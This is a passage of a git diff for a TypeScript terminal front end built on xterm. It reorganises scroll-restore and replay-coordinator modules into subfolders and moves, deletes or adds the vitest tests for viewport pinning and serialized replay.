+      terminal.buffer.active.viewportY = 200
+      terminal.buffer.active.baseY = 200
+    })
+    const second = coordinator.run(async () => {
+      starts.push('second')
+      terminal.buffer.active.viewportY = 0
+      terminal.buffer.active.baseY = 0
+      await secondParsed.promise
+      terminal.buffer.active.viewportY = 300
+      terminal.buffer.active.baseY = 300
+    })
+
+    await Promise.resolve()
+    await Promise.resolve()
+    expect(starts).toEqual(['first'])
+    firstParsed.resolve()
+    await first
+    expect(terminal.buffer.active.viewportY).toBe(180)
+    await Promise.resolve()
+    expect(starts).toEqual(['first', 'second'])
+    secondParsed.resolve()
+    await second
+    expect(terminal.buffer.active.viewportY).toBe(280)
+  })
+
+  it('keeps later replay work serialized behind an asynchronous post-restore fit', async () => {
+    const terminal = createTerminal(80, 100)
+    const coordinator = createTerminalStructuralReplayCoordinator(terminal)
+    const fitCompleted = deferred()
+    const fitStarted = deferred()
+    const events: string[] = []
+
+    const first = coordinator.run(
+      () => {
+        events.push('first-replay')
+      },
+      {
+        afterRestore: async () => {
+          events.push('first-fit')
+          fitStarted.resolve()
+          await fitCompleted.promise
+        }
+      }
+    )
+    const second = coordinator.run(() => {
+      events.push('second-replay')
+    })
+
+    await fitStarted.promise
+    expect(events).toEqual(['first-replay', 'first-fit'])
+    fitCompleted.resolve()
+    await first
+    await second
+    expect(events).toEqual(['first-replay', 'first-fit', 'second-replay'])
+  })
+
+  it('releases an asynchronous post-restore wait when the coordinator is disposed', async () => {
+    const terminal = createTerminal(80, 100)
+    const coordinator = createTerminalStructuralReplayCoordinator(terminal)
+    const fitNeverCompletes = new Promise<void>(() => {})
+    const fitStarted = deferred()
+    const completion = coordinator.run(() => undefined, {
+      afterRestore: async () => {
+        fitStarted.resolve()
+        await fitNeverCompletes
+      }
+    })
+
+    await fitStarted.promise
+    coordinator.dispose()
+
+    await expect(completion).resolves.toBeUndefined()
+  })
+})
diff --git a/src/renderer/src/lib/pane-manager/terminal-structural-replay-coordinator.ts b/src/renderer/src/lib/pane-manager/terminal-replay/terminal-structural-replay-coordinator.ts
similarity index 94%
rename from src/renderer/src/lib/pane-manager/terminal-structural-replay-coordinator.ts
rename to src/renderer/src/lib/pane-manager/terminal-replay/terminal-structural-replay-coordinator.ts
index 29b97aa3211..c5e7c5f5dd2 100644
--- a/src/renderer/src/lib/pane-manager/terminal-structural-replay-coordinator.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-replay/terminal-structural-replay-coordinator.ts
@@ -2,13 +2,13 @@ import {
   captureTerminalStructuralScrollIntent,
   restoreTerminalStructuralScrollIntent,
   type TerminalScrollIntentTarget
-} from './terminal-scroll-intent'
+} from '../terminal-scroll/terminal-scroll-intent'
 import {
   beginTerminalScrollIntentBufferRebuild,
   cancelTerminalScrollIntentBufferRebuildCompletions,
   endTerminalScrollIntentBufferRebuild
-} from './terminal-scroll-intent-rebuild'
-import { cancelDeferredScrollRestore } from './pane-scroll'
+} from '../terminal-scroll/terminal-scroll-intent-rebuild'
+import { cancelDeferredScrollRestore } from '../terminal-scroll/pane-scroll'
 import {
   beginTerminalReplayPresentation,
   type TerminalReplayPresentationTarget
diff --git a/src/renderer/src/lib/pane-manager/terminal-scroll-intent-anchor.test.ts b/src/renderer/src/lib/pane-manager/terminal-scroll-intent-anchor.test.ts
deleted file mode 100644
index 6d12f45d15a..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-scroll-intent-anchor.test.ts
+++ /dev/null
@@ -1,62 +0,0 @@
-// @vitest-environment happy-dom
-import { Terminal } from '@xterm/xterm'
-import { afterEach, describe, expect, it } from 'vitest'
-import {
-  bindTerminalScrollIntentKey,
-  enforceTerminalCurrentScrollIntent,
-  markTerminalPinnedViewport,
-  syncTerminalScrollIntentFromViewport
-} from './terminal-scroll-intent'
-
-const ROWS = 10
-const SCROLLBACK = 50
-const terminals: Terminal[] = []
-
-function createTerminal(): Terminal {
-  const terminal = new Terminal({ cols: 20, rows: ROWS, scrollback: SCROLLBACK })
-  terminals.push(terminal)
-  return terminal
-}
-
-function write(terminal: Terminal, data: string): Promise<void> {
-  return new Promise((resolve) => terminal.write(data, resolve))
-}
-
-async function writeLines(terminal: Terminal, from: number, count: number): Promise<void> {
-  let data = ''
-  for (let i = from; i < from + count; i += 1) {
-    data += `line-${i}\r\n`
-  }
-  await write(terminal, data)
-}
-
-function topVisibleLine(terminal: Terminal): string {
-  const buffer = terminal.buffer.active
-  return buffer.getLine(buffer.viewportY)?.translateToString(true) ?? ''
-}
-
-afterEach(() => {
-  for (const terminal of terminals.splice(0)) {
-    terminal.dispose()
-  }
-})
-
-describe('pinned scroll intent anchoring', () => {
-  it('keeps a keyed remount on the pinned content after trimming', async () => {
-    const first = createTerminal()
-    bindTerminalScrollIntentKey(first, 'anchor-keyed-remount')
-    await writeLines(first, 0, 100)
-    first.scrollToLine(20)
-    markTerminalPinnedViewport(first)
-    const pinnedContent = topVisibleLine(first)
-    await writeLines(first, 100, 12)
-    syncTerminalScrollIntentFromViewport(first)
-
-    const replacement = createTerminal()
-    bindTerminalScrollIntentKey(replacement, 'anchor-keyed-remount')
-    await writeLines(replacement, 0, 112)
-    enforceTerminalCurrentScrollIntent(replacement)
-
-    expect(topVisibleLine(replacement)).toBe(pinnedContent)
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-scroll-intent-input-resync.test.ts b/src/renderer/src/lib/pane-manager/terminal-scroll-intent-input-resync.test.ts
deleted file mode 100644
index 5924589a914..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-scroll-intent-input-resync.test.ts
+++ /dev/null
@@ -1,130 +0,0 @@
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import { attachTerminalScrollIntentTracking } from './terminal-scroll-intent-dom-tracking'
-import {
-  captureTerminalStructuralScrollIntent,
-  getTerminalScrollIntentKind,
-  markTerminalPinnedViewport,
-  restoreTerminalStructuralScrollIntent
-} from './terminal-scroll-intent'
-import {
-  beginTerminalScrollIntentBufferRebuild,
-  endTerminalScrollIntentBufferRebuild
-} from './terminal-scroll-intent-rebuild'
-
-function createTerminal(viewportY: number, baseY: number) {
-  const terminal = {
-    buffer: { active: { type: 'normal' as const, viewportY, baseY } },
-    scrollToBottom: vi.fn(() => {
-      terminal.buffer.active.viewportY = terminal.buffer.active.baseY
-    }),
-    scrollToLine: vi.fn((line: number) => {
-      terminal.buffer.active.viewportY = line
-    }),
-    onData: undefined as
-      | ((listener: (data: string) => void) => { dispose: () => void })
-      | undefined,
-    _core: undefined as
-      | { coreService: { onUserInput: (listener: () => void) => { dispose: () => void } } }
-      | undefined
-  }
-  return terminal
-}
-
-class TestElement extends EventTarget {}
-
-function createTerminalWithInputCapture(viewportY: number, baseY: number) {
-  const capturedInput: { listener: ((data: string) => void) | null } = { listener: null }
-  const capturedUserInput: { listener: (() => void) | null } = { listener: null }
-  const terminal = createTerminal(viewportY, baseY)
-  terminal.onData = (listener: (data: string) => void) => {
-    capturedInput.listener = listener
-    return { dispose: vi.fn() }
-  }
-  terminal._core = {
-    coreService: {
-      onUserInput: (listener: () => void) => {
-        capturedUserInput.listener = listener
-        return { dispose: vi.fn() }
-      }
-    }
-  }
-  return { terminal, capturedInput, capturedUserInput }
-}
-
-afterEach(() => {
-  vi.useRealTimers()
-  vi.unstubAllGlobals()
-})
-
-describe('terminal scroll-intent input resync', () => {
-  it('defers real typing intent until a snapshot rebuild completes', () => {
-    vi.stubGlobal('requestAnimationFrame', () => 0)
-    vi.stubGlobal('Element', TestElement)
-    const { terminal, capturedInput, capturedUserInput } = createTerminalWithInputCapture(42, 100)
-    const host = new TestElement() as unknown as HTMLElement
-    const disposable = attachTerminalScrollIntentTracking(terminal, host)
-    markTerminalPinnedViewport(terminal)
-    const staleIntent = captureTerminalStructuralScrollIntent(terminal)
-    beginTerminalScrollIntentBufferRebuild(terminal)
-
-    terminal.buffer.active.baseY = 5
-    terminal.buffer.active.viewportY = 5
-    capturedUserInput.listener?.()
-    capturedInput.listener?.('a')
-    terminal.buffer.active.baseY = 200
-    terminal.buffer.active.viewportY = 200
-    endTerminalScrollIntentBufferRebuild(terminal)
-    restoreTerminalStructuralScrollIntent(terminal, staleIntent, { restoreBy: 'bottomOffset' })
-
-    expect(getTerminalScrollIntentKind(terminal)).toBe('followOutput')
-    disposable.dispose()
-  })
-
-  it('lets later typing supersede a wheel-up pin during snapshot replay', () => {
-    vi.stubGlobal('requestAnimationFrame', () => 0)
-    vi.stubGlobal('Element', TestElement)
-    const { terminal, capturedInput, capturedUserInput } = createTerminalWithInputCapture(80, 100)
-    const host = new TestElement() as unknown as HTMLElement
-    const disposable = attachTerminalScrollIntentTracking(terminal, host)
-    markTerminalPinnedViewport(terminal)
-    const staleIntent = captureTerminalStructuralScrollIntent(terminal)
-    beginTerminalScrollIntentBufferRebuild(terminal)
-
-    terminal.buffer.active.viewportY = 0
-    terminal.buffer.active.baseY = 0
-    const wheel = new Event('wheel') as WheelEvent
-    Object.defineProperty(wheel, 'deltaY', { value: -10 })
-    host.dispatchEvent(wheel)
-    capturedUserInput.listener?.()
-    capturedInput.listener?.('a')
-    terminal.buffer.active.viewportY = 200
-    terminal.buffer.active.baseY = 200
-    endTerminalScrollIntentBufferRebuild(terminal)
-    restoreTerminalStructuralScrollIntent(terminal, staleIntent, { restoreBy: 'bottomOffset' })
-
-    expect(getTerminalScrollIntentKind(terminal)).toBe('followOutput')
-    disposable.dispose()
-  })
-
-  it('ignores parser auto-replies while a snapshot rebuild is partial', () => {
-    vi.stubGlobal('requestAnimationFrame', () => 0)
-    vi.stubGlobal('Element', TestElement)
-    const { terminal, capturedInput } = createTerminalWithInputCapture(42, 100)
-    const host = new TestElement() as unknown as HTMLElement
-    const disposable = attachTerminalScrollIntentTracking(terminal, host)
-    markTerminalPinnedViewport(terminal)
-    const intent = captureTerminalStructuralScrollIntent(terminal)
-    beginTerminalScrollIntentBufferRebuild(terminal)
-
-    terminal.buffer.active.baseY = 5
-    terminal.buffer.active.viewportY = 5
-    capturedInput.listener?.('\x1b[1;1R')
-    terminal.buffer.active.baseY = 200
-    terminal.buffer.active.viewportY = 200
-    endTerminalScrollIntentBufferRebuild(terminal)
-    restoreTerminalStructuralScrollIntent(terminal, intent, { restoreBy: 'bottomOffset' })
-
-    expect(terminal.scrollToLine).toHaveBeenLastCalledWith(142)
-    disposable.dispose()
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-scroll-intent.test.ts b/src/renderer/src/lib/pane-manager/terminal-scroll-intent.test.ts
deleted file mode 100644
index 390d4682926..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-scroll-intent.test.ts
+++ /dev/null
@@ -1,128 +0,0 @@
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import {
-  captureTerminalStructuralScrollIntent,
-  getTerminalScrollIntentKind,
-  markTerminalFollowOutput,
-  markTerminalPinnedViewport,
-  restoreTerminalStructuralScrollIntent
-} from './terminal-scroll-intent'
-
-import { attachTerminalScrollIntentTracking } from './terminal-scroll-intent-dom-tracking'
-import {
-  beginTerminalScrollIntentBufferRebuild,
-  endTerminalScrollIntentBufferRebuild
-} from './terminal-scroll-intent-rebuild'
-
-function createTerminal({
-  viewportY,
-  baseY,
-  type = 'normal'
-}: {
-  viewportY: number
-  baseY: number
-  type?: 'normal' | 'alternate'
-}) {
-  const terminal = {
-    buffer: {
-      active: {
-        type,
-        viewportY,
-        baseY
-      }
-    },
-    scrollToBottom: vi.fn(() => {
-      terminal.buffer.active.viewportY = terminal.buffer.active.baseY
-    }),
-    scrollToLine: vi.fn((line: number) => {
-      terminal.buffer.active.viewportY = line
-    })
-  }
-  return terminal
-}
-
-class TestElement extends EventTarget {}
-
-describe('terminal scroll intent', () => {
-  afterEach(() => {
-    vi.useRealTimers()
-    vi.unstubAllGlobals()
-  })
-
-  it('does not let an old terminal disposal overwrite its keyed successor', () => {
-    vi.stubGlobal('Element', TestElement)
-    const firstTerminal = createTerminal({ viewportY: 76, baseY: 100 })
-    const firstDisposable = attachTerminalScrollIntentTracking(
-      firstTerminal,
-      new TestElement() as unknown as HTMLElement,
-      'leaf-dispose-successor'
-    )
-    markTerminalPinnedViewport(firstTerminal)
-
-    const successor = createTerminal({ viewportY: 100, baseY: 100 })
-    const successorDisposable = attachTerminalScrollIntentTracking(
-      successor,
-      new TestElement() as unknown as HTMLElement,
-      'leaf-dispose-successor'
-    )
-    markTerminalFollowOutput(successor)
-    firstTerminal.buffer.active.baseY = 150
-    firstDisposable.dispose()
-
-    expect(getTerminalScrollIntentKind(successor)).toBe('followOutput')
-    successorDisposable.dispose()
-  })
-
-  it('keeps rebuild wheel intent when xterm classifies the same event as mouse input', async () => {
-    vi.stubGlobal('requestAnimationFrame', () => 0)
-    vi.stubGlobal('Element', TestElement)
-    const { terminal, capturedInput, capturedUserInput } = createTerminalWithInputCapture({
-      viewportY: 80,
-      baseY: 100
-    })
-    const host = new TestElement() as unknown as HTMLElement
-    const disposable = attachTerminalScrollIntentTracking(terminal, host)
-    markTerminalPinnedViewport(terminal)
-    const staleIntent = captureTerminalStructuralScrollIntent(terminal)
-    beginTerminalScrollIntentBufferRebuild(terminal)
-
-    terminal.buffer.active.viewportY = 0
-    terminal.buffer.active.baseY = 0
-    const wheel = new Event('wheel') as WheelEvent
-    Object.defineProperty(wheel, 'deltaY', { value: -10 })
-    host.dispatchEvent(wheel)
-    capturedUserInput.listener?.()
-    capturedInput.listener?.('\x1b[<64;10;5M')
-    await Promise.resolve()
-    terminal.buffer.active.viewportY = 200
-    terminal.buffer.active.baseY = 200
-    endTerminalScrollIntentBufferRebuild(terminal)
-    restoreTerminalStructuralScrollIntent(terminal, staleIntent, { restoreBy: 'bottomOffset' })
-    await Promise.resolve()
-
-    expect(terminal.scrollToLine).toHaveBeenLastCalledWith(180)
-    expect(getTerminalScrollIntentKind(terminal)).toBe('pinnedViewport')
-    disposable.dispose()
-  })
-
-  function createTerminalWithInputCapture(args: { viewportY: number; baseY: number }) {
-    const capturedInput: { listener: ((data: string) => void) | null } = { listener: null }
-    const capturedUserInput: { listener: (() => void) | null } = { listener: null }
-    const terminal = createTerminal(args) as ReturnType<typeof createTerminal> & {
-      onData?: (listener: (data: string) => void) => { dispose: () => void }
-      _core?: { coreService: { onUserInput: (listener: () => void) => { dispose: () => void } } }
-    }
-    terminal.onData = (listener: (data: string) => void) => {
-      capturedInput.listener = listener
-      return { dispose: vi.fn() }
-    }
-    terminal._core = {
-      coreService: {
-        onUserInput: (listener: () => void) => {
-          capturedUserInput.listener = listener
-          return { dispose: vi.fn() }
-        }
-      }
-    }
-    return { terminal, capturedInput, capturedUserInput }
-  }
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-scroll/pane-scroll-snapshot.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/pane-scroll-snapshot.ts
new file mode 100644
index 00000000000..642fd2bb670
--- /dev/null
+++ b/src/renderer/src/lib/pane-manager/terminal-scroll/pane-scroll-snapshot.ts
@@ -0,0 +1,49 @@
+import type { IMarker, Terminal } from '@xterm/xterm'
+import { captureLogicalLineAnchor } from './terminal-reflow-scroll-anchor'
+
+export type ScrollState = {
+  bufferType: 'normal' | 'alternate'
+  wasAtBottom: boolean
+  viewportY: number
+  baseY: number
+  firstVisibleLineMarker?: IMarker
+  firstVisibleLogicalLineMarker?: IMarker
+  firstVisibleLogicalCellOffset?: number
+}
+
+export function captureScrollState(terminal: Terminal): ScrollState {
+  const buf = terminal.buffer.active
+  const viewportY = buf.viewportY
+  const wasAtBottom = viewportY >= buf.baseY
+  const logicalAnchor =
+    !wasAtBottom && buf.type === 'normal'
+      ? captureLogicalLineAnchor(terminal, viewportY)
+      : undefined
+  const firstVisibleLineMarker =
+    !wasAtBottom && buf.type === 'normal'
+      ? terminal.registerMarker?.(viewportY - (buf.baseY + buf.cursorY))
+      : undefined
+  return {
+    bufferType: buf.type,
+    wasAtBottom,
+    viewportY,
+    baseY: buf.baseY,
+    // Continuation markers drift/disappear on reflow; anchor logical first rows, retaining physical markers for no-reflow ConPTY/cursor cases.
+    firstVisibleLineMarker,
+    firstVisibleLogicalLineMarker:
+      logicalAnchor?.lineY === viewportY
+        ? firstVisibleLineMarker
+        : logicalAnchor
+          ? terminal.registerMarker?.(logicalAnchor.lineY - (buf.baseY + buf.cursorY))
+          : undefined,
+    firstVisibleLogicalCellOffset: logicalAnchor?.cellOffset
+  }
+}
+
+export function releaseScrollStateMarker(state: ScrollState): void {
+  state.firstVisibleLineMarker?.dispose()
+  if (state.firstVisibleLogicalLineMarker !== state.firstVisibleLineMarker) {
+    state.firstVisibleLogicalLineMarker?.dispose()
+  }
+  state.firstVisibleLineMarker = state.firstVisibleLogicalLineMarker = undefined
+}
diff --git a/src/renderer/src/lib/pane-manager/pane-scroll.test.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/pane-scroll.test.ts
similarity index 69%
rename from src/renderer/src/lib/pane-manager/pane-scroll.test.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/pane-scroll.test.ts
index 14f9aaa371a..5e73716ecf5 100644
--- a/src/renderer/src/lib/pane-manager/pane-scroll.test.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-scroll/pane-scroll.test.ts
@@ -1,7 +1,8 @@
-import { describe, expect, it, vi } from 'vitest'
+import { describe, expect, it } from 'vitest'
 import { Terminal as HeadlessTerminal } from '@xterm/headless'
 import type { Terminal } from '@xterm/xterm'
-import { captureScrollState, restoreScrollState, restoreScrollStateAfterFit } from './pane-scroll'
+import { captureScrollState } from './pane-scroll-snapshot'
+import { restoreScrollState } from './pane-scroll'
 
 function writeHeadless(terminal: HeadlessTerminal, data: string): Promise<void> {
   return new Promise((resolve) => terminal.write(data, resolve))
@@ -22,37 +23,6 @@ function makeHeadlessRestorable(terminal: HeadlessTerminal): Terminal {
 }
 
 describe('scroll state', () => {
-  it('retries a fit restore when xterm leaves the viewport short of the target', async () => {
-    const frames: FrameRequestCallback[] = []
-    vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) =>
-      frames.push(callback)
-    )
-    const headless = new HeadlessTerminal({ cols: 20, rows: 5, scrollback: 100 })
-    try {
-      await writeHeadless(headless, Array.from({ length: 50 }, (_, i) => `line-${i}`).join('\r\n'))
-      headless.scrollToLine(10)
-      const terminal = makeHeadlessRestorable(headless)
-      const state = captureScrollState(terminal)
-      const marker = state.firstVisibleLineMarker
-      headless.scrollToBottom()
-      // xterm 6 clamps against stale scrollbar geometry until its queued viewport sync runs.
-      vi.spyOn(terminal, 'scrollToLine').mockImplementationOnce(() => {})
-      const onRestored = vi.fn()
-
-      restoreScrollStateAfterFit(terminal, state, { onRestored, shouldRestore: () => true })
-      expect(onRestored).not.toHaveBeenCalled()
-      expect(marker?.isDisposed).toBe(false)
-
-      frames.shift()?.(0)
-      expect(headless.buffer.active.viewportY).toBe(10)
-      expect(onRestored).toHaveBeenCalledOnce()
-      expect(marker?.isDisposed).toBe(true)
-    } finally {
-      headless.dispose()
-      vi.unstubAllGlobals()
-    }
-  })
-
   it.each([
     {
       fromCols: 10,
diff --git a/src/renderer/src/lib/pane-manager/pane-scroll.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/pane-scroll.ts
similarity index 84%
rename from src/renderer/src/lib/pane-manager/pane-scroll.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/pane-scroll.ts
index 2609d05e173..546b87125c2 100644
--- a/src/renderer/src/lib/pane-manager/pane-scroll.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-scroll/pane-scroll.ts
@@ -1,9 +1,7 @@
 import type { Terminal } from '@xterm/xterm'
-import type { ScrollState, TerminalScrollIntentTarget } from './pane-manager-types'
-import {
-  captureLogicalLineAnchor,
-  resolveLogicalCellOffsetLine
-} from './terminal-reflow-scroll-anchor'
+import { releaseScrollStateMarker, type ScrollState } from './pane-scroll-snapshot'
+import type { TerminalScrollIntentTarget } from './terminal-scroll-intent'
+import { resolveLogicalCellOffsetLine } from './terminal-reflow-scroll-anchor'
 import { forceTerminalViewportScrollbarSync } from './terminal-viewport-scrollbar-sync'
 
 const terminalOutputEpochs = new WeakMap<Terminal, number>()
@@ -57,35 +55,6 @@ export function cancelDeferredScrollRestore(terminal: TerminalScrollIntentTarget
   deferredScrollRestores.delete(terminal)
 }
 
-export function captureScrollState(terminal: Terminal): ScrollState {
-  const buf = terminal.buffer.active
-  const viewportY = buf.viewportY
-  const wasAtBottom = viewportY >= buf.baseY
-  const logicalAnchor =
-    !wasAtBottom && buf.type === 'normal'
-      ? captureLogicalLineAnchor(terminal, viewportY)
-      : undefined
-  const firstVisibleLineMarker =
-    !wasAtBottom && buf.type === 'normal'
-      ? terminal.registerMarker?.(viewportY - (buf.baseY + buf.cursorY))
-      : undefined
-  return {
-    bufferType: buf.type,
-    wasAtBottom,
-    viewportY,
-    baseY: buf.baseY,
-    // Continuation markers drift/disappear on reflow; anchor logical first rows, retaining physical markers for no-reflow ConPTY/cursor cases.
-    firstVisibleLineMarker,
-    firstVisibleLogicalLineMarker:
-      logicalAnchor?.lineY === viewportY
-        ? firstVisibleLineMarker
-        : logicalAnchor
-          ? terminal.registerMarker?.(logicalAnchor.lineY - (buf.baseY + buf.cursorY))
-          : undefined,
-    firstVisibleLogicalCellOffset: logicalAnchor?.cellOffset
-  }
-}
-
 export function restoreScrollState(terminal: Terminal, state: ScrollState): boolean {
   cancelDeferredScrollRestore(terminal)
   try {
@@ -303,14 +272,6 @@ function safeScrollCall(fn: () => void): boolean {
   }
 }
 
-export function releaseScrollStateMarker(state: ScrollState): void {
-  state.firstVisibleLineMarker?.dispose()
-  if (state.firstVisibleLogicalLineMarker !== state.firstVisibleLineMarker) {
-    state.firstVisibleLogicalLineMarker?.dispose()
-  }
-  state.firstVisibleLineMarker = state.firstVisibleLogicalLineMarker = undefined
-}
-
 function cancelPendingFitScrollRestore(terminal: TerminalScrollIntentTarget): void {
   const pending = pendingFitScrollRestores.get(terminal)
   if (!pending) {
diff --git a/src/renderer/src/lib/pane-manager/pane-split-scroll.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/pane-split-scroll.ts
similarity index 96%
rename from src/renderer/src/lib/pane-manager/pane-split-scroll.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/pane-split-scroll.ts
index a9276a3dd50..fa9c77d7556 100644
--- a/src/renderer/src/lib/pane-manager/pane-split-scroll.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-scroll/pane-split-scroll.ts
@@ -1,6 +1,7 @@
 import type { IBuffer, IDisposable } from '@xterm/xterm'
-import type { ManagedPaneInternal, ScrollState } from './pane-manager-types'
-import { releaseScrollStateMarker, restoreScrollState } from './pane-scroll'
+import type { ManagedPaneInternal } from '../pane-manager-types'
+import { releaseScrollStateMarker, type ScrollState } from './pane-scroll-snapshot'
+import { restoreScrollState } from './pane-scroll'
 
 function refreshAfterReparent(pane: ManagedPaneInternal): void {
   try {
diff --git a/src/renderer/src/lib/pane-manager/terminal-follow-output-waiters.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-follow-output-waiters.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-follow-output-waiters.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/terminal-follow-output-waiters.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-live-scrollback-restore.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-live-scrollback-restore.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-live-scrollback-restore.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/terminal-live-scrollback-restore.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-reflow-scroll-anchor.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-reflow-scroll-anchor.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-reflow-scroll-anchor.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/terminal-reflow-scroll-anchor.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-scroll-buffer-snapshot.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-buffer-snapshot.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-scroll-buffer-snapshot.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-buffer-snapshot.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-scroll-intent-anchor.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent-anchor.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-scroll-intent-anchor.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent-anchor.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-scroll-intent-dom-tracking.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent-dom-tracking.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-scroll-intent-dom-tracking.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent-dom-tracking.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-scroll-intent-key-store.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent-key-store.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-scroll-intent-key-store.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent-key-store.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-scroll-intent-rebuild.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent-rebuild.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-scroll-intent-rebuild.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent-rebuild.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-scroll-intent-settle.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent-settle.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-scroll-intent-settle.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent-settle.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent.test.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent.test.ts
new file mode 100644
index 00000000000..b2de2a4ff91
--- /dev/null
+++ b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent.test.ts
@@ -0,0 +1,69 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import {
+  getTerminalScrollIntentKind,
+  markTerminalFollowOutput,
+  markTerminalPinnedViewport
+} from './terminal-scroll-intent'
+
+import { attachTerminalScrollIntentTracking } from './terminal-scroll-intent-dom-tracking'
+import './terminal-scroll-intent-rebuild'
+
+function createTerminal({
+  viewportY,
+  baseY,
+  type = 'normal'
+}: {
+  viewportY: number
+  baseY: number
+  type?: 'normal' | 'alternate'
+}) {
+  const terminal = {
+    buffer: {
+      active: {
+        type,
+        viewportY,
+        baseY
+      }
+    },
+    scrollToBottom: vi.fn(() => {
+      terminal.buffer.active.viewportY = terminal.buffer.active.baseY
+    }),
+    scrollToLine: vi.fn((line: number) => {
+      terminal.buffer.active.viewportY = line
+    })
+  }
+  return terminal
+}
+
+class TestElement extends EventTarget {}
+
+describe('terminal scroll intent', () => {
+  afterEach(() => {
+    vi.useRealTimers()
+    vi.unstubAllGlobals()
+  })
+
+  it('does not let an old terminal disposal overwrite its keyed successor', () => {
+    vi.stubGlobal('Element', TestElement)
+    const firstTerminal = createTerminal({ viewportY: 76, baseY: 100 })
+    const firstDisposable = attachTerminalScrollIntentTracking(
+      firstTerminal,
+      new TestElement() as unknown as HTMLElement,
+      'leaf-dispose-successor'
+    )
+    markTerminalPinnedViewport(firstTerminal)
+
+    const successor = createTerminal({ viewportY: 100, baseY: 100 })
+    const successorDisposable = attachTerminalScrollIntentTracking(
+      successor,
+      new TestElement() as unknown as HTMLElement,
+      'leaf-dispose-successor'
+    )
+    markTerminalFollowOutput(successor)
+    firstTerminal.buffer.active.baseY = 150
+    firstDisposable.dispose()
+
+    expect(getTerminalScrollIntentKind(successor)).toBe('followOutput')
+    successorDisposable.dispose()
+  })
+})
diff --git a/src/renderer/src/lib/pane-manager/terminal-scroll-intent.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-scroll-intent.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-scrollback-clear.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scrollback-clear.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-scrollback-clear.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scrollback-clear.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-viewport-scrollbar-sync.ts b/src/renderer/src/lib/pane-manager/terminal-scroll/terminal-viewport-scrollbar-sync.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-viewport-scrollbar-sync.ts
rename to src/renderer/src/lib/pane-manager/terminal-scroll/terminal-viewport-scrollbar-sync.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-stable-cell-fit-addon.test.ts b/src/renderer/src/lib/pane-manager/terminal-stable-cell-fit-addon.test.ts
deleted file mode 100644
index 63d6c17e041..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-stable-cell-fit-addon.test.ts
+++ /dev/null
@@ -1,61 +0,0 @@
-// @vitest-environment happy-dom
-import { FitAddon } from '@xterm/addon-fit'
-import type { Terminal } from '@xterm/xterm'
